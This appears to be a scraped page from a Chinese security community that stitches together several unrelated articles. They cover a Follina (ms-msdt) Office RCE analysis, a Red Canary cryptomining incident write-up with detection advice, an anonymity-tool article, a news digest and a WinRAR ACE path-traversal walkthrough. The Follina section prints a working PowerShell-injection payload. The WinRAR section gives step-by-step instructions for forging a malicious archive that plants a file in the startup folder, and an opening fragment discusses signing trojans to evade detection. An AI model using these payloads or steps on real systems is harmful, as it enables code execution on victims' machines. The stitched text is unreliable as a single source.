1、这里我把刚刚在主机上做好的签名木马复制到虚拟机中，发现签名变成了如下图，这是因为虚拟机没有导入证书
那我们这样做不就等于白做工了嘛，我思考了很久，如果要解决这个问题只有加载本地默认安装的证书，但我没有找到怎么把系统默认的签名证书导出为pfx格式的工具，希望大佬不吝赐教！拜谢！
2、在使用cs的时候往往会因为流量问题被查杀，特别是阿里云服务器，这里是否可以使用特制的证书进行绕过流量查杀，需要大家自己去验证。 | 社区文章 |
**作者：Y4er**
**原文链接：<https://y4er.com/post/follina-microsoft-office-rce-with-ms-msdt-protocol/>**
## 前言
看推特发了一个好玩的office
rce。最早应该是起源于[nao_sec的推特](https://twitter.com/nao_sec/status/1530196847679401984)
然后又发现了一篇分析文章。
<https://doublepulsar.com/follina-a-microsoft-office-code-execution-vulnerability-1a47fce5629e>
接着poc也有了 <https://github.com/chvancooten/follina.py>
本文依托于poc看一下这个office rce
## 分析
python .\follina.py -m command -c calc
查看python源码，逻辑是向`word\_rels\document.xml.rels`写一个远程模板地址
钓过鱼的都知道这个是远程模板，接着会写入一个`www\exploit.html`，这个文件中的关键代码只有一行js
location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=? IT_LaunchMethod=ContextMenu IT_BrowseForFile=$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'Unicode.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'YwBhAGwAYwA='+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe\"";
跳了一个`ms-msdt:/`伪协议，ms系列是office注册的协议，你可以在设置-应用-默认应用-按协议指定默认应用中找到对应的伪协议和所启动的应用。
ms-msdt协议没在这里找到，可以从注册表中找到
command是`"%SystemRoot%\system32\msdt.exe" %1`
msdt.exe 是微软支持诊断工具，微软对其有官方文档
<https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/msdt>
参数如图
此时回头来看exploit.html，其命令如下
msdt.exe /id PCWDiagnostic /skip force /param "IT_RebrowseForFile=? IT_LaunchMethod=ContextMenu IT_BrowseForFile=$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'Unicode.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'YwBhAGwAYwA='+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe"
`/id PCWDiagnostic`表示运行PCWDiagnostic诊断包，除此以外还有其他的诊断包
C:\Windows\diagnostics\index
对应的程序目录在C:\Windows\diagnostics\system
不同的诊断包兼容性不一样，具体兼容版本看[微软文档 available-troubleshooting-packs](https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/ee424379\(v=ws.11\)#available-troubleshooting-packs)
`/skip
force`文档没提，不过实际测试加不加都可以弹计算器，字面意思应该是强制跳过，无所谓，而且IT_RebrowseForFile不加也可以，所以精简下来的payload如下
/param "IT_BrowseForFile=$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'Unicode.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'YwBhAGwAYwA='+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe"
这部分通过param参数应该是继续向运行PCWDiagnostic诊断包时传递了三个参数
1. IT_RebrowseForFile
2. IT_LaunchMethod
3. IT_BrowseForFile
这三个参数我在下面两个链接中搜到了一些东西
1. <https://lolbas-project.github.io/lolbas/Binaries/Msdt/>
2. <https://gist.github.com/homjxi0e/3f35212db81b9375b7906031a40c6d87>
应该是通过这几个参数可以运行msi程序，但是具体怎么实现的？
这里需要引入微软文档[《Writing a Troubleshooting
Manifest》](https://docs.microsoft.com/zh-cn/previous-versions/windows/desktop/wintt/writing-the-troubleshooting-manifest)
回头看PCWDiagnostic，对应的诊断包程序位于C:\Windows\diagnostics\system\PCW
其中DiagPackage.diagpkg是manifest文件，这些在文档中有。
> 翻译过来：该部分表示要在故障排除阶段运行的脚本
在Interactions块中是程序交互的参数
其中我们用到的IT_BrowseForFile也在其中
manifest中指定的powershell程序是
C:\Windows\diagnostics\system\PCW\TS_ProgramCompatibilityWizard.ps1
此时回头来看payload
代码高亮已经给出答案，当调用ps1脚本时
$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'Unicode.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'YwBhAGwAYwA='+[char]34+'))'))))
这段代码会逃逸出来被powershell执行，造成rce。
## 拓展
本着探索精神，想着自己也挖一挖这种洞，于是找了一些其他的伪协议，也就是上文中的ms-officecmd，于是发现了一个dotnet的LocalBridge.exe
经过处理json之后调用LaunchOfficeAppValidated，像是可以运行验证过后的程序。
发现用到了pinvoke调用dll
刚找好兄弟要了一个ida，下载的过程中在搜索ms-officecmd关键字，发现了前人写的文章
1. [Abusing the MS Office protocol scheme](https://blog.syss.com/posts/abusing-ms-office-protos/)
2. [Windows 10 RCE: The exploit is in the link](https://positive.security/blog/ms-officecmd-rce)
两篇文章记录了msoffice协议相关的知识以及通过ms-officecmd协议挖掘Teams、Skype的1click的rce
chain，值得一学，但是我进一步挖掘的热情被他们的rce浇灭了。
就这样吧。
## 后文
通过远程模板location.href跳转的形式，可以拉取msdt调用powershell执行命令，并且绕过了`启用编辑`这一大限制，总体来说还是比较牛逼的。
因为参数很多，所以免杀相对好做，防御的话我不是专业的就不说了。
* * *
补充：exploit.html需要填充4096垃圾字符，因为在< https://billdemirkapi.me/unpacking-cve-2021-40444-microsoft-office-rce/ >这个文章中分析了会先读取4096缓冲区。
**文笔垃圾，措辞轻浮，内容浅显，操作生疏。不足之处欢迎大师傅们指点和纠正，感激不尽。**
* * * | 社区文章 |
# 攻击者通过 Windows 自带工具加载挖矿程序的检测分析
|
##### 译文声明
本文是翻译文章，文章原作者 Tony Lambert，文章来源：redcanary.com
原文地址：<https://redcanary.com/blog/cryptomining-enabled-by-native-windows-tools/>
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
我在职业生涯早期学到的一个教训是，技术专业人员通常会继承老问题。对于负责网络服务和安全的管理员来说尤其如此，因为他们继承了最大的问题：企业网络。随着网络的老化，网络往往变得更加难以安全和维护，而管理员常常实施新的安全措施，却发现他们的环境中已经存在一些邪恶的东西。
Red Canary的探测工程师对这个概念并不陌生。由于我们与事件响应伙伴的关系日益密切，Red
Canary通常部署在事件已经在进行中的环境中。尽管没有观察到最初的攻击，我们的网络事件响应小组([Cyber Incident Response
Team/CIRT](https://redcanary.com/blog/slaying-evil-cyber-incident-response-team/))可以提供一个全面的关于攻击者策略的观点，以加快补救。
在本文中，我将介绍一个场景，在这个场景中，我们与IR的一个合作伙伴一起进行搜索，以阻止正在进行的攻击。我还将分享检测策略，以发现在此事件中使用的攻击策略，以及越过陈旧的补丁管理建议的预防策略。
## 邪恶的最初迹象
当通过IR合作伙伴部署Red Canary时，事件处理程序通常会向检测工程团队简要介绍即将发生的事件的背景信息。在这种情况下，Red
Canary令人敬畏的Eric
Groce让我们知道，我们很快就会为一个由于恶意活动而无法使用网络的组织提供调查支持。这些问题严重影响了该组织的业务，我们将看到大量的事件。不久之后，我们看到了第一批事件的发生，从攻击者已经放置在设备上的持久性机制开始。
我们的第一个邪恶的迹象是应用白名单绕过技术，这种技术是在几年前因为我们的应用研究主任Casey
Smith而流行的。在这种情况下，运行Windows计划任务（Windows Scheduled
Task），执行Regsvr32.exe的实例以下载和执行代码。(这通常称为squiblydoo攻击。Casey在这篇[Atomic Red
Team](https://redcanary.com/blog/atomic-red-team-testing/)的文章中介绍了这次攻击。)
[](https://p2.ssl.qhimg.com/t01b97ba5c796d39e98.png)
下载的payload声称是PHP脚本文件，但其实是恶意脚本，进一步导致Windows命令处理程序(cmd.exe)产生PowerShell，然后Powershell执行Base64编码的命令来下载并执行第二个payload:antivirus.ps1。
[](https://p3.ssl.qhimg.com/t01f286e5751ffd82cb.png)
从这里开始，执行额外的PowerShell来检索以前存储为[Windows Management Instrumentation
(WMI)事件订阅](https://attack.mitre.org/wiki/Technique/T1084)的属性的代码。这与我们通常在“无文件(fileless)”恶意软件执行中看到的情况略有不同，后者通常使用Windows注册表项来存储PowerShell
payload，WMI类属性的使用更少，维护者更难检查和补救。
[](https://p2.ssl.qhimg.com/t01a4d07940f24880c4.png)
此时，我们已经可以看到，攻击者已经在组织的各个端点建立了相当大的持久性。我们收到了来自100多个主机的事件，显示了计划的任务执行和通过PowerShell检索WMI类属性。
## 挖矿开始
我们的下一个邪恶迹象来自WMI用于生成PowerShell的主机。我们可以基于PowerShell的父进程得出这样的结论：通过WMI生成的进程具有wmiprvse.exe的父进程。PowerShell命令再次使用base64进行编码，在解码之后我们可以看到一个复杂的脚本。
[](https://p0.ssl.qhimg.com/t0190185ad1a9a80c36.png)
攻击者创建了一个脚本，该脚本将检查工具的新版本，并在查询的版本号更改时尝试下载新的payload。在随后的脚本中，我们还观察到了查询端点的活动网络连接的攻击者，我们很快就发现了原因。对于每个具有已建立网络连接的进程，恶意PowerShell脚本都会执行findstr.exe的实例。这个内置的Windows实用程序用于搜索文件中由用户指定的文本字符串。在这种情况下，攻击者使用它来搜索与加密相关的字符串：“cryptonight”。
[](https://p4.ssl.qhimg.com/t017aee4d9b2ed5ebdd.png)
这种奇怪的行为是有意义的，一旦我们将其与我们在恶意挖矿程序实例中看到的行为进行比较。将挖矿程序作为payload部署的攻击者通常遵循以下模式：
1. 将挖掘工具下载到端点。
2. 检查端点，看看程序是否已经在运行。
3. 终止任何现有的挖矿程序。
4. 启动程序并继续。
在本例中，findstr.exe是在网络连接进程运行的每个二进制文件中执行的。如果这些进程中的任何一个包含字符串“cryptonight”，则恶意脚本将终止该进程并开始执行挖矿活动。
[](https://p2.ssl.qhimg.com/t01ecf15ce7f3f38d9a.png)
在Carbon Black (Cb)
Response中观察到的数据没有显示与PowerShell以外的这些活动相关的特定二进制文件，因此我们假设挖掘程序的加载方式对于CB响应来说是不可见的。后来，我们通过获取恶意PowerShell脚本并发现它使用一个版本的Invoke-ReflectivePEInjection(来自PowerSploit)将XMRig
Miner二进制文件加载到PowerShell中，从而确认了这一点。这个二进制文件使用Base64进行编码，并存储在脚本中，该脚本随后在运行时动态地提取它。通过使用反射注入，脚本加载挖掘程序二进制文件的方式避免了像LoadLibrary调用那样的Windows
API调用。这种技术通过对依赖Windows API调用的工具隐藏数据来了解加载了哪些二进制文件和代码库。
本质上，这个脚本包含了在运行时部署挖矿程序所需的所有内容，并通过这种对于大多数不结合某种形式的内存分析来检查PowerShell的内存空间的工具来说是不可见的方式部署，而不是信任API。
## 横向运动时间
在挖矿过程中，PowerShell脚本还开始扫描本地网络，查找445端口为服务器消息块(SMB)服务打开的主机。有读者可能会注意到我们以前见过这种模式。事实上，世界在2017年WannaCry
ransomware运动期间以及随后的几个月中都看到了这种模式，当时攻击者创造性地合并了WannaCry方法，并利用挖矿paload来分发WannaMare恶意软件。
[](https://p0.ssl.qhimg.com/t01acbac86da8199e31.png)
在挖矿活动的同时，我们开始注意到证书失窃的迹象。Powershell加载了两个动态链接库(DLL)，这两个库通常在凭证窃取攻击期间被观察到：samlib.dll和vaultcli.dll。此外，我们还发现PowerShell正在读取Windows本地安全授权进程(lsass.exe)的内存空间。
[](https://p1.ssl.qhimg.com/t016f02f6d00654a87c.png)
这些行为与我们观察到的攻击者使用MimiKatz窃取或滥用密码哈希的情况非常相似。当在这个上下文中拼凑在一起时，我们假设像MimiKatz这样的工具已经被加载到PowerShell中来收集合法的凭证，然后这些凭证被用来验证到其他端点，并传播一个加密的payload。这个策略显然有效，因为我们在环境中的200个主机上发现了类似的活动。
## 可能的第一感染者（Patient Zero）
在200多个检测中，只有一个端点在对抗性行为模式上表现出明显的偏离。在这个主机上，我们观察到从Java进程产生的奇怪命令。Windows命令行窗口(cmd.exe)的一个实例用于将编码的PowerShell命令写入VBScript中执行，命名脚本javaupdato.vbs。
[](https://p2.ssl.qhimg.com/t012a84ea247d2f0a7a.png)
回顾这个过程的Java父进程，该命令似乎是从运行有名为“WebHelpDesk”的应用程序的基于Java的Web服务器产生的。从提供的有关服务器的环境判断，我们能够识别它作为Solarwinds
Web Help
Desk服务器，这个服务器可从Internet上公开访问。在原始的遥测数据中，我们潜入Java父进程，发现了与Web服务器恶意联系的证据。攻击者上传了一个恶意Java类文件，并以类似于Web
shell活动的方式导致了cmd.exe的执行。反过来，cmd.exe编写并执行恶意脚本。
## Powershell：攻击者的选择工具
希望你已经注意到了一个特点：这个攻击者喜欢使用PowerShell。在这种情况下，恶意VBScript导致PowerShell下载的payload与在其他主机上所看到的略有不同。我们后来发现，payload包含一个漏洞，可以提升Web服务器上的权限。不需要利用这些漏洞，因为攻击者无意中获得了Web
Help Desk服务器的本地SYSTEM帐户运行进程的访问权限。当配置Web服务器时，它已被设置为在系统上最高管理员的安全上下文中运行！
在某种程度上，攻击者意识到了这一点，并使用另一种策略来触发在其他主机上看到的挖掘/横向移动payload的下载和执行。这一次，他们使用wmic.exe的实例，向进程提供恶意样式表，以触发PowerShell中的后续下载。
[](https://p3.ssl.qhimg.com/t017abf40c961b02403.png)
[](https://p2.ssl.qhimg.com/t0148dd320dc5873d5d.png)
## 检测策略：如何发现这些技术
如果没有适当的遥测技术，该组织的维护者就没有数据来检测这些技术，直到他们的网络陷入停顿。适当的检测需要以过程执行监控的形式进行遥测。防御者可以通过部署Endpoint
Detection and Response (EDR) 传感器(如Carbon Black Response或CrowdStrike
Falcon)来实现这一点。另一种可能是使用Sysinals的Sysmon来创建用于进程执行的Windows事件日志。通过使用来自入侵检测系统、Netflow或其他网络控件的遥测，可以观察到此事件的SMB网络扫描组件。
一旦遥测传感器就位，按照下面的检测策略找到并停止各种技术。
### Regsvr32.exe
从这个事件中最容易发现的策略是涉及Regsvr32.exe的策略。所示的策略称为Squiblydoo攻击，通过在命令行中识别具有Web地址和字符串“scrobj.dll”的Regsvr32.exe实例，可以很容易地检测到该策略。
### WMI或计划任务
可以通过查找wmiprvse.exe(WMI)或taskeng.exe(计划任务)的子进程来实现对通过WMI或计划任务产生的进程的监视。根据组织的大小和配置，这种检测策略可能非常麻烦，因此需要进行一些调整，以减少误报并突出恶意警报。
### PowerShell
最佳检测策略是将进程执行监视与Windows事件日志控件相结合。如果将网络上的所有Windows客户端升级为使用PowerShell
v5而不是旧版本，则可以从其他安全和日志配置中受益。一个很好的起点是从Black Hill Information
Security获得有关[PowerShell日志(<https://www.blackhillsinfosec.com/powershell-logging-blue-team/>)]的资源。一旦生成包含PowerShell命令的日志，就可以对恶意脚本中涉及的单个行为创建检测功能。
### 恶意Web服务器开发
通过识别从Web服务器生成的可疑进程，可以观察到恶意Web服务器攻击。与WMI和计划任务监视一样，根据系统的配置，这种策略可能很麻烦。对于高精准度警报，你可以将检测功能调优到监视cmd.exe或该web服务器进程帐户中从web服务器生成的其他shell。大多数Web服务器都可以作为一个受到高度监视和审计的帐户来执行，所以要充分利用它！
## 测试您的检测覆盖率
想测试一下这些策略，看看你的控件是否遵守它们？这就是为什么我们创建了AtomRedTeam，这是一组小型的、高度可移植的测试的开源集合，对应[MITRE
ATT&CK](https://attack.mitre.org/wiki/Main_Page)框架中的相应技术。
查看以下 Atomic Red Team测试，看看你现有的控件是否可以检测到它们：
* [Regsvr32.exe](https://github.com/redcanaryco/atomic-red-team/tree/master/atomics/T1117/T1117.md)
* [Scheduled Task](https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1053/T1053.md)
* [PowerShell](https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1086/T1086.md)
* [WMI Event Subscription](https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1084/T1084.md) Persistence
* [Credential Dumping](https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1003/T1003.md) (Think Mimikatz)
## 预防策略
如果你一直认为可以通过修补程序管理来防止此事件的部分发生，那么你是对的。我们已经写了很多文章来阐述[补丁管理和其他IT基础知识的重要性](https://redcanary.com/blog/5-it-fundamentals/)，大多数安全专业人员对这个建议并不陌生。补丁管理是一个很好的开始，但是对于这篇文章，我想深入探讨其他的预防策略：网络分割(network
segmentation)和Web服务器安全。
### 网络分割
防止像WannaCry和WannaMINE这样的快速传播的恶意攻击的一个关键防御方法是以一种将通信限制在段间已批准的信道的方式来分割你的网络。如果SMB扫描不应该被允许从你的营销办公室连接到网络的其余部分，禁止它并且用网络控制来监视它！
使用适当的访问控制列表进行网络分段可以防止主机将恶意传播到企业网络的其余部分。当正确分割时，快速传播的恶意程序将被限制在网络的单个部分，而不是像在无障碍的平面网络中那样在整个组织中传播。这对防御者很有帮助，因为它将事件与其他工作系统隔离开来。
尽管如此，SolarwinsWeb Help
Dest服务器的这种情况代表了一种特殊的情况。SolarWinds软件和其他IT管理工具通常位于网络的中心区域，在那里它们可以跨所有网段访问系统。这个位置是一个挑战，因为它允许一个主机成为一个潜在的矢量，来危害网络的所有部分。维权者应确保这些系统不能通过互联网公开访问。如果存在需要在组织网络之外使用IT管理工具的情况，请考虑使用虚拟专用网络(VPN)解决方案来提供安全的、经过身份验证的访问，这样攻击者就不会那么容易地扫描和危害这些系统。
### Web服务器安全性
Web服务器的安全配置值得讨论，因为Web应用程序包含大量的现代企业软件。此外，许多这些Web应用程序都是为公众访问而设计的，这增加了所涉及的风险。为了让攻击者利用Web应用程序执行远程代码，可以使用利用漏洞或Web
shell功能来利用授予Web服务器进程的用户权限。防止利用Web
shell功能通常涉及测试和修补Web服务器和应用程序，但用户特权部分可以由了解其服务器需求的管理员管理。Linux
Web服务器上的Apache和Nginx可以很容易地配置为使用Web应用程序的非特权帐户，从而限制了利用漏洞造成的损害。
在Windows端，这有点困难，因为Web服务器用户的配置可能需要比Linux上更专业的站点或服务配置。一般的经验法则应该是使用在Web服务器主机或网络上任何其他系统上没有管理员权限的帐户。一旦你选择了一个非特权帐户，配置控件来监视该帐户执行的操作，从而监视您的Web服务器。
我们在这里已经给了特权帐户一个彻底的措施，所以我想提及为什么以Windows本地系统帐户运行一个Web服务器是特别糟糕的。这个帐户在Windows中拥有最高级别的特权，高于IT人员用于管理系统的本地管理员帐户。虽然这个帐户在每台计算机上都是唯一的，并且通常在其他主机上没有权限，但具有系统访问权限的攻击者可以在帐户下的单个主机上执行任何他们想要的操作。这包括可能窃取缓存在可用于在网络上横向移动的系统上的凭据。理论上，利用作为系统运行的服务可能导致攻击者获得域管理员(可以横向移动)的缓存凭据，并可能将合法用户锁在系统之外以防止补救。
要意识到你已经提供给互联网的Web服务器，并且用最少的特权加强它们的配置。此外，如果Web服务器提供对IT管理工具的访问，则不惜一切代价使其远离公共访问。通过要求使用带有身份验证的VPN来确保对这些管理资源的外部访问。
## 关键
我们希望深入调查这一事件可以帮助防御者理解为什么采取积极主动的措施来提高检测能力和预防是很重要的。如果你需要帮助[提高检测覆盖率](https://redcanary.com/solutions/detection-coverage/)，Red Canary在这里！
审核人：yiwang 编辑：边边 | 社区文章 |
# PrivaTegrity:新型匿名工具
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
原文地址：<http://blog.hackersonlineclub.com/2016/01/introducing-new-more-anonymity-tool.html>
译文仅供参考，具体内容表达以及含义原文为准。
在这篇文章中,我将会给大家介绍一款新型的匿名工具。这款工具名为“PrivaTegrity”。PrivaTegrity可以解决TOR网络中现有的问题,从某种程度上来说,它也可以成为TOR的替代品。但在开始之前,我得给大家介绍一下有关洋葱网络的知识。
洋葱网络是一种在计算机网络上进行匿名通信的技术。通信数据先进行多层加密然后在由若干个被称为洋葱路由器组成的通信线路上被传送。每个洋葱路由器去掉一个加密层,以此得到下一条路由信息,然后将数据继续发往下一个洋葱路由器,不断重复,直到数据到达目的地。这就防止了那些知道数据发送端以及接收端的中间人窃得数据内容。
洋葱网络实现以上目标的根据是Chaum的“混合瀑布”理论:消息在从发送端发送,通过一系列的代理(“洋葱路由器”),到接收端的过程中,在一条不可预测的路径上不断的重新路由转向。同时为了防止中间人窃得消息内容,消息在路由器之间传送的过程中是经过加密的。洋葱网络(或者通常称为混合瀑布)的优点是它没有必要去信任每一个合作的中间节点,如果一个多更多的中间节点被恶意操控,通信的匿名性仍然可以得到。这是因为洋葱网络中的每一个中间节点收到消息,重新加密,然后传送给下一个洋葱路由器。一个能够监视洋葱网络中所有洋葱路由器的攻击者或许有能力跟踪消息的传递路径,但如果攻击者只能监视有限数量的洋葱路由器,那么跟踪消息的具体传送路径将变得非常困难。
最先提出网络匿名这一概念的人是“David Lee
Chaum”,他出生于1955年,他曾开发过许多互联网加密协议,并在2016年1月份正式发布了一款名为“PrivaTegrity”的新型匿名工具。现实世界密码大会于2016年1月在斯坦福大学召开,而David在此次大会上发表了一篇名为cMix的研究报告。他在报告中介绍了PrivaTegrity项目,并将这个他投入了两年心血的作品发布了出来。
根据[报告](http://eprint.iacr.org/2016/008.pdf)的描述:
通过混合网络(Mix)来实现匿名通信是需要消耗一定的计算机资源和通信资源的,用户的消息会在系统中进行批处理,并被创建成匿名消息集(因此会有一定的时延),这些信息会被无效信息填充,或者被截取成多个信息段,以达到一个标准长度,这样才能避免通信设备对这段消息进行流量分析。
除此之外,在现代的混合网络机制中,如果用户需要在不同的网络中传递消息,那么将需要用到多个公共密钥加密层来对路由信息进行封装。在这一网络中,我们引入了一个新型的mixnet架构-cMix,它可以允许我们使用对称密钥来代替实时公钥,并以此来降低计算机的开销。
低延迟的匿名通信网络是基于洋葱路由的,例如Tor,这种网络很容易受到各种流量分析(流量识别)攻击。相比之下,mixnet所采用的新型机制能够确保用户的匿名性在通信传输线路中保持不变,而且还可以使我们所使用的协议能够抵御网络攻击。所以从实践的角度出发,Tor并没有为用户提供严格的匿名保证。
cMix协议能够确保信息发送者的匿名性。在cMix网络中,系统有时会无法将信息的发送者与其他所有可能的发送者区分出来,但在这种情况下,信息发送者的匿名性仍然能够得到保证。更确切地说,在一次通信过程中,所有的信息发送者将会构成一个匿名集,系统会对其中难以区别的发送者身份进行解析,但在整个过程中用户的匿名性仍然不会改变。这种机制适用于发送信息和接收信息,cMix网络能够保证发起通信的用户匿名性不受影响。
PrivaTegrity独立于cMix网络,通过建立一个可信的模块并在匿名性与责任之间巧妙地进行了平衡,PrivaTegrity解决了目前匿名服务中存在的一些设计漏洞和相关问题。
1981年,Chaum在一篇文章中首次提出了匿名通信网络的概念。在文章中,他将其称之为混合网络(mix
netwoorks),这种网络允许发送者将一条经过加密的消息以及该消息的收件人发送至服务器中。当服务器中存有大量消息时,他将会对信息重新排列,并进行模糊处理,这样一来,就只有这个服务器准确地知道哪一条信息是来源于哪一位发送者的。
然后,该服务器会将这些经过处理的消息批量发送至另一台服务器,而另一台服务器也会对这些消息进行相同的处理。最终,这些消息会到达目的服务器,这个服务器会对这些消息进行解密,并将这些消息分别发送给相应的信息接收者。除此之外,他还提出了一种能够允许返回消息的机制。混合网络(Mix)是消息转发和重发的基础,而且也是现代匿名Web浏览工具(例如Tor这类基于洋葱路由的工具)这一概念的祖先。 | 社区文章 |
# 1月22日安全热点 - 新型 SamSam 勒索软件/Evrial木马
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 资讯类
Uber忽略了一个能绕过双因素身份验证的安全漏洞
<http://www.zdnet.com/article/uber-security-flaw-two-factor-login-bypass/>
研究人员发现配置错误的Jenkins服务器泄漏了敏感数据
<http://securityaffairs.co/wordpress/68028/hacking/misconfigured-jenkins-servers.html>
新型 SamSam 勒索软件的受害者支付了高达55000美金的赎金
<http://securityaffairs.co/wordpress/68052/malware/samsam-ransomware-campaign.html>
黑客利用密码控制气泵显示来欺骗客户
<https://threatpost.com/hacker-infects-gas-pumps-with-code-to-cheat-customers/129599/>
Evrial的木马窃取比特币地址并复制到Windows剪贴板上
<https://www.bleepingcomputer.com/news/security/evrial-trojan-switches-bitcoin-addresses-copied-to-windows-clipboard/>
## 技术类
PHP CVE-2018-5711 – GIF图片网站挂起
<http://blog.orange.tw/2018/01/php-cve-2018-5711-hanging-websites-by.html>
带你学习 Golang 的 AES 扩展
[https://blog.tclaverie.eu/posts/understanding-golangs-aes-implementation-t-tables](https://blog.tclaverie.eu/posts/understanding-golangs-aes-implementation-t-tables/?utm_source=securitydailynews.com)
java groovy 反序列化工具开发
<https://codewhitesec.blogspot.co.uk/2018/01/handcrafted-gadgets.html>
在OS X上调试第三方Android Java代码
<https://kov4l3nko.github.io/blog/2018-01-20-debugging-thirdparty-android-java-code/>
CISSP Dysfunction
<https://pirate.london/cissp-dysfunction-6fb09ad38d2f>
一种多模块下的 Android ProGuard 的组织方法
<https://proandroiddev.com/handling-proguard-as-library-developer-or-in-a-multi-module-android-application-2d738c37890>
使用Tor浏览器和领域的数据渗透
[Quickpost: Data Exfiltration With Tor Browser And Domain
Fronting](https://blog.didierstevens.com/2018/01/20/quickpost-data-exfiltration-with-tor-browser-and-domain-fronting)
令人惊讶的使用php：//ftp的CTF任务解决方案
[http://gynvael.coldwind.pl/?lang=en&id=671](http://gynvael.coldwind.pl/?lang=en&id=671)
一个用于捕获和分析网络流量数据和内部流量数据的工具
<https://github.com/cisco/joy/> | 社区文章 |
## 0x01漏洞背景
2019 年 2 月 20 日 @Nadav Grossman 发表了一篇关于他如何发现一个在 WinRAR 中存在 19
年的逻辑问题以至成功实现代码执行的文章。
WinRAR 代码执行相关的 CVE 编号如下：
CVE-2018-20250, CVE-2018-20251, CVE-2018-20252, CVE-2018-20253
该漏洞是由于 WinRAR 所使用的一个陈旧的动态链接库UNACEV2.dll所造成的，该动态链接库在 2006
年被编译，没有任何的基础保护机制(ASLR, DEP 等)。该动态链接库的作用是处理 ACE
格式文件。而在解压处理过程中存在一处目录穿越漏洞,允许解压过程写入文件至开机启动项，导致代码执行。
## 0x02准备工作
下载安装winace，一路默认安装即可
新建一个demo文件夹，创建名为test的文本文档,内容如下
使用winace打开
点击右上角file->create
阴影部分下拉框选择store full path
点击add即可
此时在demo文件夹下生成了test.ace
## 0x03熟悉ACE格式
接下来使用16进制编辑器打开（winhex,010Editor也行），此处使用010Editor进行
待会儿需要在这儿修改一些数据
接下啦先git clone <https://github.com/droe/acefile>
我们需要使用acefile.py来进行校验等操作,这是python3写的，它的功能是
1、可以提取ACE档案。
2、包含有关ACE文件格式的简要说明。
3、有一个非常有用的功能，打印文件格式标题和解释
win上没有3的环境，所以我使用kali来进行
首先下载test.ace
然后查看文件头信息
回显如下
关键参数详细说明：
·hdr_crc：
两个CRC字段存在于2个标头中。如果CRC与数据不匹配，则中断提取。
·文件名：
文件名包含文件的相对路径。在提取过程中（包括文件）创建相对路径中指定的所有目录。文件名的大小由十六进制转储中的2个字节（小端）定义。
·advert：
如果使用未注册版本的WinACE创建存档，则在创建ACE存档期间，WinACE会自动添加广告字段。
·文件内容：
“origsize” - 内容的大小。
“hdr_size” – 头部大小。
上图可以看到crc为0xc5e9,size为63，这个63是十进制，转换为16进制为
而在010Editor中看到的是相反的（小端序），如c5e9,在下图则是e9c5,003f在下图则是3f00
另外还有个参数就是文件名长度，使用acefile没检测，我们可以手动查看
阴影部分即文件名，长度在最下面的选区中可以看到是20h,即对应阴影选中前的2000
## 0x04构造恶意文件
很明显，crc受限于文件内容，size受限于文件内容，文件名长度受限于文件文件名，所以需要从文件内容、文件名开始修改
（使用010Editor的好处就是可以直接在左侧进行修改）
下图橙色的就是我们修改的内容
把hello world改成bye world,文件名改成了evil.txt
之后按照上面的分析，我们需要修改文件名长度这个参数
长度为1bh，所以将2000改为1b00即可
然后修改size
大小为3ah，将阴影前的3f00(原size)修改为3a00(现在的size)
接下来修改CRC，crc怎么修改呢？crc是循环冗余校验，根据文件自有的算法得出，那么我们怎么才能得到修改后的文件的CRC呢？
别忘了我们之前的acefile.py，这个脚本为了获取ace文件信息，肯定会先对ace文件进行校验，查看它的代码找到校验逻辑不就好了？
代码很长，通读不显示，不如把刚才修改后的文件先校验一下，看看会出什么提示，然后根据关键字去定位代码段
重新在kali下载修改后的ace
然后检测
果然提示文件头CRC校验出错
根据关键字定位到代码片段
根据逻辑，3060行的判断成立时则会抛出crc校验出错的提示，为此，我们可以打印出if判断的对象，即ace_crc16(buf)
在3061行插入一句代码即可
再次运行
36050便是我们的crc了
同样转成16进制
将相应位置数据修改为D28C即可
保存后再次校验
没有出错，并且显示了头信息
到这一步，我们的恶意文件就制作完成了。
## 0x05执行攻击
受害者如果按照平时的情况解压
则会在我们设置好的路径下解压出恶意文件
## 0x06修复
1.尽快升级到最新版本的 WinRAR
下载地址如下
32 位：<http://win-rar.com/fileadmin/winrar-versions/wrar57b1.exe>
64 位：<http://win-rar.com/fileadmin/winrar-versions/winrar-x64-57b1.exe>
2.删除UNACEV2.dll
找到所使用的压缩文件，右键打开文件所在位置
在打开的文件夹下删除该文件即可
## 0x07参考
<https://research.checkpoint.com/extracting-code-execution-from-winrar/> | 社区文章 |
# 【技术分享】通过泄露到DNS的信息检测反序列化漏洞（含演示视频）
|
##### 译文声明
本文是翻译文章，文章来源：安全客
原文地址：<http://gosecure.net/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/>
译文仅供参考，具体内容表达以及含义原文为准。
****
****
翻译：[pwn_361](http://bobao.360.cn/member/contribute?uid=2798962642)
稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**前言**
